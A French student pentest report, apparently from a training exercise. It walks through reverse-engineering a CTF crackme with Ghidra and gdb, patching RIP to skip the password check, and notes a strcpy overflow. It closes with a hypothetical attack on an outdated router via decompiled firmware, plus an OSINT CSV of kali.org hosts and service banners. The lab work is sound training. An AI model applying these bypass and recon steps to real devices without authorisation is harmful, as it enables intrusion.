| ## | Recommendation | Trouvaille associée | Priorité |
| :- | :--- | :--- | :--- |
| 01 | Mise à jour de version | MantisBT | Haute |
| 02 | Sauvegarde externe avec nom de fichier aléatoire | Discourse | Moyenne |
| 03 | Purge des dépôts | xz-utils | Très haute |
| 04 | Signatures diversifiées pour chaque paquet | xz-utils | Moyenne |
## 2. Ingénierie Inversée
Le client nous demande d'étudier le fichier `crackme_3`, avec décompilation et ingénierie inversée.
### Profil du fichier
Tout d'abord, les métadonnées classiques sont extraites :
```bash
$ file crackme_3
crackme_3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=45939497a0b02f28b8cc23629acfbc2e39ca2072, for GNU/Linux 3.2.0, not stripped
$ strings crackme_3 | head -16
r/lib64/ld-linux-x86-64.so.2
strcpy
puts
__libc_start_main
stderr
fprintf
strcmp
libc.so.6
GLIBC_2.2.5
GLIBC_2.34
__gmon_start__
PTE1
H=0@@
Usage: %s <password>
[-] Acces refuse.
[+] Acces accorde ! Flag : CTF{ESDI_R3v3rs3_2026}
```
J'utilise également un duo de commande avec `objdump` pour obtenir quelques informations, comme les fonctions en cas de binaire non empaqueté :
```bash
$ objdump -f crackme_3
crackme_3: file format elf64-x86-64
architecture: i386:x86-64, flags 0x00000112:
EXEC_P, HAS_SYMS, D_PAGED
start address 0x0000000000401080
$ objdump -d crackme_3 | grep ">:"
0000000000401000 <_init>:
0000000000401020 <strcpy@plt-0x10>:
0000000000401030 <strcpy@plt>:
0000000000401040 <puts@plt>:
0000000000401050 <strcmp@plt>:
0000000000401060 <fprintf@plt>:
0000000000401080 <_start>:
00000000004010b0 <_dl_relocate_static_pie>:
00000000004010c0 <deregister_tm_clones>:
00000000004010f0 <register_tm_clones>:
0000000000401130 <__do_global_dtors_aux>:
0000000000401160 <frame_dummy>:
0000000000401180 <main>:
000000000040123c <_fini>:
```
Et une dernière passe avec `checksec` :
```bash
$ checksec --file=crackme_3
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified FortifiableFILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 39 Symbols No 0 2 crackme_3
```
Ce que cela nous apprend :
- Exécutable ELF 64bit, architecture moderne
- Non épuré, donc avec le noms des fonctions, variables et symboles d'origine (plus facile à décompiler)
-
### A. GHIDRA
Je créé un nouveau projet dans `Ghidra` et j'importe le fichier selon les infos recueillies plus tôt (détectées nativement) :
![alt text](image-2.png)
J'analyse le programme, j'utilise l'outil "Code Analyzer" et j'en extraies les données essentielles, notamment les fonctions :
![alt text](image-3.png)
Une rapide cartographie nous permet d'établir ceci :
| Nom de la fonction | Adresse | Rôle |
| :--- | :--- | :--- |
| deregister_tm_clones | 0x4010c0 | (fonction d'usine) |
| register_tm_clones | 0x4010f0 | (fonction d'usine) |
| frame_dummy | 0x401160 | (fonction d'usine) |
| main | 0x401180 | Fonction principale, coeur du code |
| FUN_00401020 (non réel inconnu) | 0x401202 (d'où le nom) | Fonction secondaire, nécessaire à main(). Une étude plus approfondie apprend qu'il s'agit d'une fonction PLT (Procedure Linkage Table), dites "chef de gare" |
#### main()
Etendue de 0x401180 à 0x401236.
- Ligne 0x401188 : JZ (JUMP ZERO) => Saute si le résultat d'un précédent CMP (COMPARE) ou TEST est égal à 0. Ici donc, il évalue un argument == 2 pour poursuivre le programme, sinon il saute sur un stderr, met une valeur EBX (code d'erreur) à 1 et RET (quitte le programme)
- Ligne 0x4011b2 : Si l'argument est présent, on récupère l'argument et on le stocke dans la RSI. On met le RAX à 0 pour server de compteur à une boucle (i = 0) avant de charger une variable `enc.0` chiffrée.
- Ligne 0x4011e0 : Prend le RAX (i = n) comme index de la chaîne chiffrée `enc.0`, applique un XOR avec la clef 0x42 pour déchiffrer, stocke le caractère en clair sur la pile RSP, incrémente le RAX (i++) et recommence si le RAX n'a pas atteint 0xf (i = 15) => La boucle prend une chaîne de 15 octets cachée dans le binaire, applique un XOR sur chaque octet avec 0x42, et reconstruit le vrai mot de passe attendu dans la variable `local_38`
- Ligne 0x401201 : CALL (APPEL) la `strcpy`, autrement dit notre argument du programme et la stocke de la RSI vers la RSP
- Ligne 0x40120c : CALL la `strcmp`, donc une comparaison de *string* entre `local_38` et le mot de passe interne
- Ligne 0x401213 : Les deux chaînes sont identiques ? Renvoi de 0, le JZ est valide et affiche la victoire. Les deux chaînes diffèrent ? Pas de JUMP ZERO, on affiche l'accès refusé avec PUTS et on saute à la fin.
#### Vulnérabilité principale, MEMORY CORRUPTION
- La pile offrant une comparaison entre la chaîne passée en argument et la chaîne déchiffrée du mot de passe se joue avec un `strcpy`, avec une étape intermédiaire de comparaison renvoyant une valeur (0 ou non) pour "valider" que la chaîne correspond ou non, avant de sauter vers le résultat final.
- Cependant, avec un `break` au bon endroit, on peut définir un résultat et sauter à l'endroit souhaité en modifiant ce qu'on fait écrire à la fonction quand le résultat est reçu par les pointeurs.
- En bref : nous entrant une donnée externe non validée pour sauter les "sécurités" en place en modifiant le RIP (Register Instruction Pointer)
#### Vulnérabilité secondaire, BUFFER OVERFLOW
Le `checksec` a mis en évidence un manque de STACK CANARY. De fait, le code est vulnérable aux coups de grisou :
- La méthode `strcopy` est un code historique qui copie une chaîne de caractères jusqu'à y trouver un octet nul, sans vérifier la possibilité que l'espace soit un temps soit peu suffisamment large pour accueillir la chaîne en argument.
- Prenant la fonction `main()`, `SUB RSP, 0x30` signale un espace alloué de 48 octets sur la pile pour les variables locales
- Toujours dans `main()`, `local_28` est le buffer qui commence à l'offset déclaré `[RSP + 0x10]`, donc 16 octets plus bas que la pile RSP.
- Avec une taille allouée de 48 octets et un début de buffer 16 octets avant la fin de la pile, on a 32 octets pour stocker le mot de passe dans local_28 avant de déborder de l'espace alloué et renvoyer un SIGSEV.
### B. GDB
#### Trouver le mot de passe caché
```bash
$ chmod +x crackme_3
$ gdb -q ./crackme_3
Reading symbols from ./crackme_3...
(No debugging symbols found in ./crackme_3)
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x0000000000401000 _init
0x0000000000401030 strcpy@plt
0x0000000000401040 puts@plt
0x0000000000401050 strcmp@plt
0x0000000000401060 fprintf@plt
0x0000000000401080 _start
0x00000000004010b0 _dl_relocate_static_pie
0x00000000004010c0 deregister_tm_clones
0x00000000004010f0 register_tm_clones
0x0000000000401130 __do_global_dtors_aux
0x0000000000401160 frame_dummy
0x0000000000401180 main
0x000000000040123c _fini
(gdb) run Albathar
Starting program: /home/kali/EVALUATION/crackme_3 Albathar
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/x86_64-linux-gnu/libthread_db.so.1".
[-] Acces refuse.
[Inferior 1 (process 38985) exited with code 01]
(gdb) break *0x00401215
Breakpoint 1 at 0x401215
(gdb) run Albathar
Starting program: /home/kali/EVALUATION/crackme_3 Albathar
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, 0x0000000000401215 in main ()
(gdb) set $rip = 0x0040122a
(gdb) continue
Continuing.
[+] Acces accorde ! Flag : CTF{ESDI_R3v3rs3_2026}
[Inferior 1 (process 39225) exited with code 0374]
```
Pour expliquer mon raisonnement :
```c
0x0000000000401215 <+149>: je 0x40122a <main+170>
```
1. Nous mettons un break sur l'adresse du dessus où un JUMP EQUAL avec s'effectuer en cas de mauvais mot de passe
2. Nous venons d'exécuter le `strcmp` qui compare mon argument et la chaîne attendue. Le résultat est négatif, évidemment. Le JUMP ZERO va marcher et sauter à "[-] Accès refusé".
3. Le BREAK arrête la lecture du programme, et on déplace la tête de lecture du processeur (l'endroit où il pointe, comme une tête de lecteur sur un sillon de vinyle)
4. En changeant la valeur du RIP, on a "attrapé" la tête de lecture du processeur, et on le fait pointer non plus vers le JUMP ZERO mais sur l'adresse de fin. On déplace de force la tête de lecture du vinyle pour passer au morceau final.
5. Le message de victoire s'affiche.
En bref, on saute le JUMP ZERO, on contourne toute la suite logique du programme pour atterir à la fin, située ici :
```c
0x000000000040122a <+170>: lea 0xdff(%rip),%rdi # 0x402030
```
Ainsi le mot de passe est récupéré sans avoir besoin de relever de flag ni de faire de force brute : `ESDI_R3v3rs3_2026`
![alt text](image-4.png)
## 3. Synthèse
### A. Rapport de synthèse
A la demande du client, nous avons mené deux missions conjointes sur :
1. Le domaine public kali.org
=> Les rapports préliminaires permettent d'établir que l'environnement web de Kali est de Kalité. Aucun service n'est exposé sauf justification, les CVEs sont patchées rapidement, les équipes sont fiables et répondent vite aux problèmes exposés dans leur programme de BugBounty.
2. L'étude d'un binaire suspect
=> Le binaire est un classique des programmes CTF, avec deux vulnérabilités détectées dans l'usage de méthodes historiques non-sécurisées et d'une possibilité de corruption de mémoire pour obtenir une validation finale.
### B. Complémentarité OSINT / RE
> Dans une vraie mission de pentest, comment les informations OSINT collectées en Partie 1 pourraient-elles guider l'analyse RE de la Partie 2 ?
> Citez un exemple concret où l'OSINT aurait permis de cibler directement une vulnérabilité RE.
Nous abordons deux méthodologies et finalités qui diffèrent, et sont donc potentiellement complémentaires :
- L'OSINT fournit un **contexte**
- L'ingénierie inversée fournit un **mécanisme**
- Un outil comme `Censys` détecte des services, des systèmes d'exploitation, des compilateurs éventuellement, des versions. **Un ingénieur décompilateur peut définir un environnement de décompilation taillé sur mesure**.
- `Censys` toujours renseigne sur les produits utilisés (VPN, WAF, firmware IoT, etc), aussi peut-on **rechercher les binaires d'origine des firmwares pour les étudier à froid et en trouver des failles**.
- Utiliser `Maltego` ou du `dorking` permet de profiler un codeur précis sur une infrastructure précise, et avec, en tirer **des conclusions sur les langages utilisés, les empaqueteurs ou les librairies, ou même carrément les erreurs du passé**.
Imaginons un cas concret :
1. Un service sur le port 28576 est exposé sur un serveur trouvé par `Censys`, je vais sur le port et je trouve une page de connexion d'un vieux routeur `TP-Link` ou `Cisco` ou `Netgear`
2. Je fouille sur des forums ou sur la page "téléchargements" du site constructeur le binaire qui correcpond à la version affichée sur le portail, mettons 3.6.1 (alors que la dernière version est 4.5.7)
3. Je décomplie le binaire avec GHIDRA, je cherches et trouves une méthode `strcpy`
Je sais maintenant comment faire planter le service. Pire encore : je peux déplacer un RIP et aller sur le panneau admin.
### C. Respect du cadre légal
> 1. Quelle loi encadre l'accès frauduleux à un système informatique en France ? Citez l'article.
> 2. Dans votre reconnaissance OSINT de la Partie 1, avez-vous respecté les limites légales ? Justifiez.
> 3. Un binaire trouvé sur un serveur compromis peut-il être analysé légalement ? Dans quel contexte ?
1. [Loi Godfrain](https://www.lexbase.fr/texte-de-loi/loi-n-8819-05011988-relative-a-la-fraude-informatique/L2291HUE.html) (*[le lien LEGIFRANCE ne pointe sur rien](https://www.legifrance.gouv.fr/jorf/id/JORFTEXT000000875419)*)
2. Oui. Je n'ai effectué aucun test moi-même, depuis ma machine, sur la "cible". Je n'ai fait que relever des rapports établis par des outils de cartographie, sans lire de raports actifs/agressifs non plus (pas de NMAP rapporté ni équivalent).
3. Ca dépend.
- Ai-je le droit d'être sur ce serveur ?
- Non : conséquemment, non.
- Oui :
- Le binaire a t-il une signature numérique d'un éditeur (re)connu ?
- Non : Il s'agit certainement d'un outil d'attaque et on peut l'analyser librement. Les circonstances joueront en notre faveur en cas de désaccord légal.
- Oui : On peut l'analyser de façon encadrée par le Code de la Propriété Intellectuelle. Par défaut, décompiler un logiciel propriétaire est interdit, **SAUF** si l'éditeur ne met plus à jour son binaire (exception de **sécurité**). > [Resource utile](https://www.ddg.fr/actualite/decompiler-un-logiciel-enseignements-recents-la-jurisprudence-communautaire) <
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.

After

Width:  |  Height:  |  Size: 187 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 120 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 55 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 86 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.5 KiB

@@ -0,0 +1,128 @@
Host,IP,Type,Reverse DNS,Netblock Owner,HTTP Services,Remote Services
10year.kali.org,104.18.4.159,A,,"CLOUDFLARENET - Cloudflare, Inc.
13335 / unknown",HTTP: cloudflare - Direct IP access not allowed,
aeacus.kali.org,51.222.80.5,A,ns576245.ip-51-222-80.net,"OVH - OVH SAS, FR
16276 / Canada",,SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
aphrodite.kali.org,104.18.4.159,A,,"CLOUDFLARENET - Cloudflare, Inc.
13335 / unknown",HTTP: cloudflare - Direct IP access not allowed,
archive.kali.org,148.113.211.220,A,ns5033939.ip-148-113-211.net,"OVH - OVH SAS, FR
16276 / Canada",,
archive-4.kali.org,176.31.228.102,A,,"OVH - OVH SAS, FR
16276 / France","HTTP: nginx
HTTPS: nginx",SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
arm.kali.org,35.185.44.232,A,,"GOOGLE-CLOUD-PLATFORM - Google LLC
396982 / United States",HTTPS: - Unauthorized (401),
artemis.kali.org,3.222.23.60,A,,"AMAZON-AES - Amazon.com, Inc.
14618 / United States","HTTP: nginx
HTTPS: nginx",
artifacts.kali.org,104.18.5.159,A,,"CLOUDFLARENET - Cloudflare, Inc.
13335 / unknown",HTTP: cloudflare - Direct IP access not allowed,
atlas.kali.org,54.39.17.132,A,ns555633.ip-54-39-17.net,"OVH - OVH SAS, FR
16276 / Canada",,SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
atropos.kali.org,51.79.80.98,A,,"OVH - OVH SAS, FR
16276 / Canada",,SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
autopkgtest.kali.org,104.18.4.159,A,,"CLOUDFLARENET - Cloudflare, Inc.
13335 / unknown",HTTP: cloudflare - Direct IP access not allowed,
bittorrent.kali.org,3.222.23.60,A,,"AMAZON-AES - Amazon.com, Inc.
14618 / United States","HTTP: nginx
HTTPS: nginx",
bugs.kali.org,104.18.4.159,A,,"CLOUDFLARENET - Cloudflare, Inc.
13335 / unknown",HTTP: cloudflare - Direct IP access not allowed,
buildd-amd64.kali.org,144.217.75.200,A,,"OVH - OVH SAS, FR
16276 / Canada","HTTP: nginx
HTTPS: nginx",SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
buildd-arm.kali.org,104.18.5.159,A,,"CLOUDFLARENET - Cloudflare, Inc.
13335 / unknown",HTTP: cloudflare - Direct IP access not allowed,
buildd-arm64.kali.org,140.211.11.42,A,140-211-11-42-openstack.osuosl.org,"LINK-OREGON - University of Oregon
3701 / United States","HTTP: nginx
HTTPS: nginx",SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
buildd-armhf.kali.org,140.211.11.37,A,140-211-11-37-openstack.osuosl.org,"LINK-OREGON - University of Oregon
3701 / United States","HTTP: nginx
HTTPS: nginx",SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
buildd-i386.kali.org,144.217.75.200,A,,"OVH - OVH SAS, FR
16276 / Canada","HTTP: nginx
HTTPS: nginx",SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
cdimage.kali.org,54.39.128.230,A,ns562229.ip-54-39-128.net,"OVH - OVH SAS, FR
16276 / Canada","HTTP: nginx
HTTPS: nginx",SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
clio.kali.org,172.104.29.198,A,172-104-29-198.ip.linodeusercontent.com,"AKAMAI-LINODE-AP - Akamai Connected Cloud, SG
63949 / United States",,SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
coeus.kali.org,140.211.169.59,A,,"LINK-OREGON - University of Oregon
3701 / United States","HTTP: nginx
HTTPS: nginx",SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
crius.kali.org,140.211.11.37,A,140-211-11-37-openstack.osuosl.org,"LINK-OREGON - University of Oregon
3701 / United States","HTTP: nginx
HTTPS: nginx",SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
cronos.kali.org,45.33.71.210,A,li1017-210.members.linode.com,"AKAMAI-LINODE-AP - Akamai Connected Cloud, SG
63949 / United States",,SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
demeter.kali.org,15.235.87.209,A,ns5018074.ip-15-235-87.net,"OVH - OVH SAS, FR
16276 / Canada",,
dionysus.kali.org,144.217.75.200,A,,"OVH - OVH SAS, FR
16276 / Canada","HTTP: nginx
HTTPS: nginx",SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
discord.kali.org,104.18.5.159,A,,"CLOUDFLARENET - Cloudflare, Inc.
13335 / unknown",HTTP: cloudflare - Direct IP access not allowed,
docs.kali.org,104.18.5.159,A,,"CLOUDFLARENET - Cloudflare, Inc.
13335 / unknown",HTTP: cloudflare - Direct IP access not allowed,
ar.docs.kali.org,104.18.5.159,A,,"CLOUDFLARENET - Cloudflare, Inc.
13335 / unknown",HTTP: cloudflare - Direct IP access not allowed,
br.docs.kali.org,104.18.5.159,A,,"CLOUDFLARENET - Cloudflare, Inc.
13335 / unknown",HTTP: cloudflare - Direct IP access not allowed,
cn.docs.kali.org,104.18.5.159,A,,"CLOUDFLARENET - Cloudflare, Inc.
13335 / unknown",HTTP: cloudflare - Direct IP access not allowed,
de.docs.kali.org,104.18.5.159,A,,"CLOUDFLARENET - Cloudflare, Inc.
13335 / unknown",HTTP: cloudflare - Direct IP access not allowed,
en.docs.kali.org,104.18.5.159,A,,"CLOUDFLARENET - Cloudflare, Inc.
13335 / unknown",HTTP: cloudflare - Direct IP access not allowed,
es.docs.kali.org,104.18.5.159,A,,"CLOUDFLARENET - Cloudflare, Inc.
13335 / unknown",HTTP: cloudflare - Direct IP access not allowed,
fr.docs.kali.org,104.18.5.159,A,,"CLOUDFLARENET - Cloudflare, Inc.
13335 / unknown",HTTP: cloudflare - Direct IP access not allowed,
he.docs.kali.org,104.18.4.159,A,,"CLOUDFLARENET - Cloudflare, Inc.
13335 / unknown",HTTP: cloudflare - Direct IP access not allowed,
id.docs.kali.org,104.18.4.159,A,,"CLOUDFLARENET - Cloudflare, Inc.
13335 / unknown",HTTP: cloudflare - Direct IP access not allowed,
it.docs.kali.org,104.18.5.159,A,,"CLOUDFLARENET - Cloudflare, Inc.
13335 / unknown",HTTP: cloudflare - Direct IP access not allowed,
ja.docs.kali.org,104.18.4.159,A,,"CLOUDFLARENET - Cloudflare, Inc.
13335 / unknown",HTTP: cloudflare - Direct IP access not allowed,
nl.docs.kali.org,104.18.5.159,A,,"CLOUDFLARENET - Cloudflare, Inc.
13335 / unknown",HTTP: cloudflare - Direct IP access not allowed,
ru.docs.kali.org,104.18.4.159,A,,"CLOUDFLARENET - Cloudflare, Inc.
13335 / unknown",HTTP: cloudflare - Direct IP access not allowed,
www.docs.kali.org,104.18.4.159,A,,"CLOUDFLARENET - Cloudflare, Inc.
13335 / unknown",HTTP: cloudflare - Direct IP access not allowed,
downloads.kali.org,104.18.5.159,A,,"CLOUDFLARENET - Cloudflare, Inc.
13335 / unknown",HTTP: cloudflare - Direct IP access not allowed,
dzaa.kali.org,104.18.4.159,A,,"CLOUDFLARENET - Cloudflare, Inc.
13335 / unknown",HTTP: cloudflare - Direct IP access not allowed,
epimetheus.kali.org,104.18.4.159,A,,"CLOUDFLARENET - Cloudflare, Inc.
13335 / unknown",HTTP: cloudflare - Direct IP access not allowed,
erato.kali.org,104.18.5.159,A,,"CLOUDFLARENET - Cloudflare, Inc.
13335 / unknown",HTTP: cloudflare - Direct IP access not allowed,
forums.kali.org,104.18.4.159,A,,"CLOUDFLARENET - Cloudflare, Inc.
13335 / unknown",HTTP: cloudflare - Direct IP access not allowed,
gaia.kali.org,140.211.11.42,A,140-211-11-42-openstack.osuosl.org,"LINK-OREGON - University of Oregon
3701 / United States","HTTP: nginx
HTTPS: nginx",SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
git.kali.org,104.18.4.159,A,,"CLOUDFLARENET - Cloudflare, Inc.
13335 / unknown",HTTP: cloudflare - Direct IP access not allowed,
hecate.kali.org,176.31.228.102,A,,"OVH - OVH SAS, FR
16276 / France","HTTP: nginx
HTTPS: nginx",SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
helios.kali.org,51.222.241.236,A,ns5007377.ip-51-222-241.net,"OVH - OVH SAS, FR
16276 / Canada",,
10 alt1.aspmx.l.google.com,108.177.123.26,MX,lcscld-in-f26.1e100.net,"GOOGLE - Google LLC
15169 / United States",,
15 alt2.aspmx.l.google.com,172.253.116.26,MX,dj-in-f26.1e100.net,"GOOGLE - Google LLC
15169 / United States",,
20 alt3.aspmx.l.google.com,192.178.223.26,MX,yulhrs-in-f26.1e100.net,"GOOGLE - Google LLC
15169 / United States",,
25 alt4.aspmx.l.google.com,172.253.157.27,MX,yubrupd-in-f27.1e100.net,"GOOGLE - Google LLC
15169 / United States",,
5 aspmx.l.google.com,192.178.155.27,MX,,"GOOGLE - Google LLC
15169 / United States",,
nash.ns.cloudflare.com,172.64.33.209,NS,nash.ns.cloudflare.com,"CLOUDFLARENET - Cloudflare, Inc.
13335 / unknown",HTTP: cloudflare - Direct IP access not allowed,
nina.ns.cloudflare.com,172.64.32.136,NS,nina.ns.cloudflare.com,"CLOUDFLARENET - Cloudflare, Inc.
13335 / unknown",HTTP: cloudflare - Direct IP access not allowed,
1 Host IP Type Reverse DNS Netblock Owner HTTP Services Remote Services
2 10year.kali.org 104.18.4.159 A CLOUDFLARENET - Cloudflare, Inc. 13335 / unknown HTTP: cloudflare - Direct IP access not allowed
3 aeacus.kali.org 51.222.80.5 A ns576245.ip-51-222-80.net OVH - OVH SAS, FR 16276 / Canada SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
4 aphrodite.kali.org 104.18.4.159 A CLOUDFLARENET - Cloudflare, Inc. 13335 / unknown HTTP: cloudflare - Direct IP access not allowed
5 archive.kali.org 148.113.211.220 A ns5033939.ip-148-113-211.net OVH - OVH SAS, FR 16276 / Canada
6 archive-4.kali.org 176.31.228.102 A OVH - OVH SAS, FR 16276 / France HTTP: nginx HTTPS: nginx SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
7 arm.kali.org 35.185.44.232 A GOOGLE-CLOUD-PLATFORM - Google LLC 396982 / United States HTTPS: - Unauthorized (401)
8 artemis.kali.org 3.222.23.60 A AMAZON-AES - Amazon.com, Inc. 14618 / United States HTTP: nginx HTTPS: nginx
9 artifacts.kali.org 104.18.5.159 A CLOUDFLARENET - Cloudflare, Inc. 13335 / unknown HTTP: cloudflare - Direct IP access not allowed
10 atlas.kali.org 54.39.17.132 A ns555633.ip-54-39-17.net OVH - OVH SAS, FR 16276 / Canada SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
11 atropos.kali.org 51.79.80.98 A OVH - OVH SAS, FR 16276 / Canada SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
12 autopkgtest.kali.org 104.18.4.159 A CLOUDFLARENET - Cloudflare, Inc. 13335 / unknown HTTP: cloudflare - Direct IP access not allowed
13 bittorrent.kali.org 3.222.23.60 A AMAZON-AES - Amazon.com, Inc. 14618 / United States HTTP: nginx HTTPS: nginx
14 bugs.kali.org 104.18.4.159 A CLOUDFLARENET - Cloudflare, Inc. 13335 / unknown HTTP: cloudflare - Direct IP access not allowed
15 buildd-amd64.kali.org 144.217.75.200 A OVH - OVH SAS, FR 16276 / Canada HTTP: nginx HTTPS: nginx SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
16 buildd-arm.kali.org 104.18.5.159 A CLOUDFLARENET - Cloudflare, Inc. 13335 / unknown HTTP: cloudflare - Direct IP access not allowed
17 buildd-arm64.kali.org 140.211.11.42 A 140-211-11-42-openstack.osuosl.org LINK-OREGON - University of Oregon 3701 / United States HTTP: nginx HTTPS: nginx SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
18 buildd-armhf.kali.org 140.211.11.37 A 140-211-11-37-openstack.osuosl.org LINK-OREGON - University of Oregon 3701 / United States HTTP: nginx HTTPS: nginx SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
19 buildd-i386.kali.org 144.217.75.200 A OVH - OVH SAS, FR 16276 / Canada HTTP: nginx HTTPS: nginx SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
20 cdimage.kali.org 54.39.128.230 A ns562229.ip-54-39-128.net OVH - OVH SAS, FR 16276 / Canada HTTP: nginx HTTPS: nginx SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
21 clio.kali.org 172.104.29.198 A 172-104-29-198.ip.linodeusercontent.com AKAMAI-LINODE-AP - Akamai Connected Cloud, SG 63949 / United States SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
22 coeus.kali.org 140.211.169.59 A LINK-OREGON - University of Oregon 3701 / United States HTTP: nginx HTTPS: nginx SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
23 crius.kali.org 140.211.11.37 A 140-211-11-37-openstack.osuosl.org LINK-OREGON - University of Oregon 3701 / United States HTTP: nginx HTTPS: nginx SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
24 cronos.kali.org 45.33.71.210 A li1017-210.members.linode.com AKAMAI-LINODE-AP - Akamai Connected Cloud, SG 63949 / United States SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
25 demeter.kali.org 15.235.87.209 A ns5018074.ip-15-235-87.net OVH - OVH SAS, FR 16276 / Canada
26 dionysus.kali.org 144.217.75.200 A OVH - OVH SAS, FR 16276 / Canada HTTP: nginx HTTPS: nginx SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
27 discord.kali.org 104.18.5.159 A CLOUDFLARENET - Cloudflare, Inc. 13335 / unknown HTTP: cloudflare - Direct IP access not allowed
28 docs.kali.org 104.18.5.159 A CLOUDFLARENET - Cloudflare, Inc. 13335 / unknown HTTP: cloudflare - Direct IP access not allowed
29 ar.docs.kali.org 104.18.5.159 A CLOUDFLARENET - Cloudflare, Inc. 13335 / unknown HTTP: cloudflare - Direct IP access not allowed
30 br.docs.kali.org 104.18.5.159 A CLOUDFLARENET - Cloudflare, Inc. 13335 / unknown HTTP: cloudflare - Direct IP access not allowed
31 cn.docs.kali.org 104.18.5.159 A CLOUDFLARENET - Cloudflare, Inc. 13335 / unknown HTTP: cloudflare - Direct IP access not allowed
32 de.docs.kali.org 104.18.5.159 A CLOUDFLARENET - Cloudflare, Inc. 13335 / unknown HTTP: cloudflare - Direct IP access not allowed
33 en.docs.kali.org 104.18.5.159 A CLOUDFLARENET - Cloudflare, Inc. 13335 / unknown HTTP: cloudflare - Direct IP access not allowed
34 es.docs.kali.org 104.18.5.159 A CLOUDFLARENET - Cloudflare, Inc. 13335 / unknown HTTP: cloudflare - Direct IP access not allowed
35 fr.docs.kali.org 104.18.5.159 A CLOUDFLARENET - Cloudflare, Inc. 13335 / unknown HTTP: cloudflare - Direct IP access not allowed
36 he.docs.kali.org 104.18.4.159 A CLOUDFLARENET - Cloudflare, Inc. 13335 / unknown HTTP: cloudflare - Direct IP access not allowed
37 id.docs.kali.org 104.18.4.159 A CLOUDFLARENET - Cloudflare, Inc. 13335 / unknown HTTP: cloudflare - Direct IP access not allowed
38 it.docs.kali.org 104.18.5.159 A CLOUDFLARENET - Cloudflare, Inc. 13335 / unknown HTTP: cloudflare - Direct IP access not allowed
39 ja.docs.kali.org 104.18.4.159 A CLOUDFLARENET - Cloudflare, Inc. 13335 / unknown HTTP: cloudflare - Direct IP access not allowed
40 nl.docs.kali.org 104.18.5.159 A CLOUDFLARENET - Cloudflare, Inc. 13335 / unknown HTTP: cloudflare - Direct IP access not allowed
41 ru.docs.kali.org 104.18.4.159 A CLOUDFLARENET - Cloudflare, Inc. 13335 / unknown HTTP: cloudflare - Direct IP access not allowed
42 www.docs.kali.org 104.18.4.159 A CLOUDFLARENET - Cloudflare, Inc. 13335 / unknown HTTP: cloudflare - Direct IP access not allowed
43 downloads.kali.org 104.18.5.159 A CLOUDFLARENET - Cloudflare, Inc. 13335 / unknown HTTP: cloudflare - Direct IP access not allowed
44 dzaa.kali.org 104.18.4.159 A CLOUDFLARENET - Cloudflare, Inc. 13335 / unknown HTTP: cloudflare - Direct IP access not allowed
45 epimetheus.kali.org 104.18.4.159 A CLOUDFLARENET - Cloudflare, Inc. 13335 / unknown HTTP: cloudflare - Direct IP access not allowed
46 erato.kali.org 104.18.5.159 A CLOUDFLARENET - Cloudflare, Inc. 13335 / unknown HTTP: cloudflare - Direct IP access not allowed
47 forums.kali.org 104.18.4.159 A CLOUDFLARENET - Cloudflare, Inc. 13335 / unknown HTTP: cloudflare - Direct IP access not allowed
48 gaia.kali.org 140.211.11.42 A 140-211-11-42-openstack.osuosl.org LINK-OREGON - University of Oregon 3701 / United States HTTP: nginx HTTPS: nginx SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
49 git.kali.org 104.18.4.159 A CLOUDFLARENET - Cloudflare, Inc. 13335 / unknown HTTP: cloudflare - Direct IP access not allowed
50 hecate.kali.org 176.31.228.102 A OVH - OVH SAS, FR 16276 / France HTTP: nginx HTTPS: nginx SSH: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
51 helios.kali.org 51.222.241.236 A ns5007377.ip-51-222-241.net OVH - OVH SAS, FR 16276 / Canada
52 10 alt1.aspmx.l.google.com 108.177.123.26 MX lcscld-in-f26.1e100.net GOOGLE - Google LLC 15169 / United States
